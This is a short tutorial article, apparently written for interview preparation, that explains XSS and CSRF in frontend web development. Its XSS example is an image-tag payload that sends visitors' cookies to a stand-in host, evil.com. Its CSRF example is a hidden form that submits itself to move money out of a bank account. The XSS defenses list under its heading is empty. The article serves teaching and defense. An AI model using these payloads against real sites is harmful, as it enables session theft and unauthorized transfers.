๐Ÿ›ก๏ธ JavaScript

XSS and CSRF Explained โ€” Frontend Security You Must Know

๐Ÿ“… Jul 4, 2026 โฑ 4 min read

Two acronyms, two attack shapes, guaranteed interview material โ€” and real responsibility once you ship code.

XSS โ€” injecting script into your page

// your code:
commentDiv.innerHTML = userComment;

// attacker's "comment":
<img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
// now runs in EVERY visitor's browser: steals sessions, defaces, keylogs

Defenses:

CSRF โ€” riding the user's logged-in session

<!-- on evil.com, invisible: -->
<form action="https://yourbank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
// the browser attaches the bank's cookies automatically โ†’ transfer succeeds

Defenses: SameSite=Lax cookies (modern default โ€” blocks most CSRF), CSRF tokens in forms, and never mutating state on GET.

The one-line distinction

XSS runs attacker code on YOUR site; CSRF makes the USER's browser send requests you didn't intend. Name the defenses and the interview segment is done.

โ† All Articles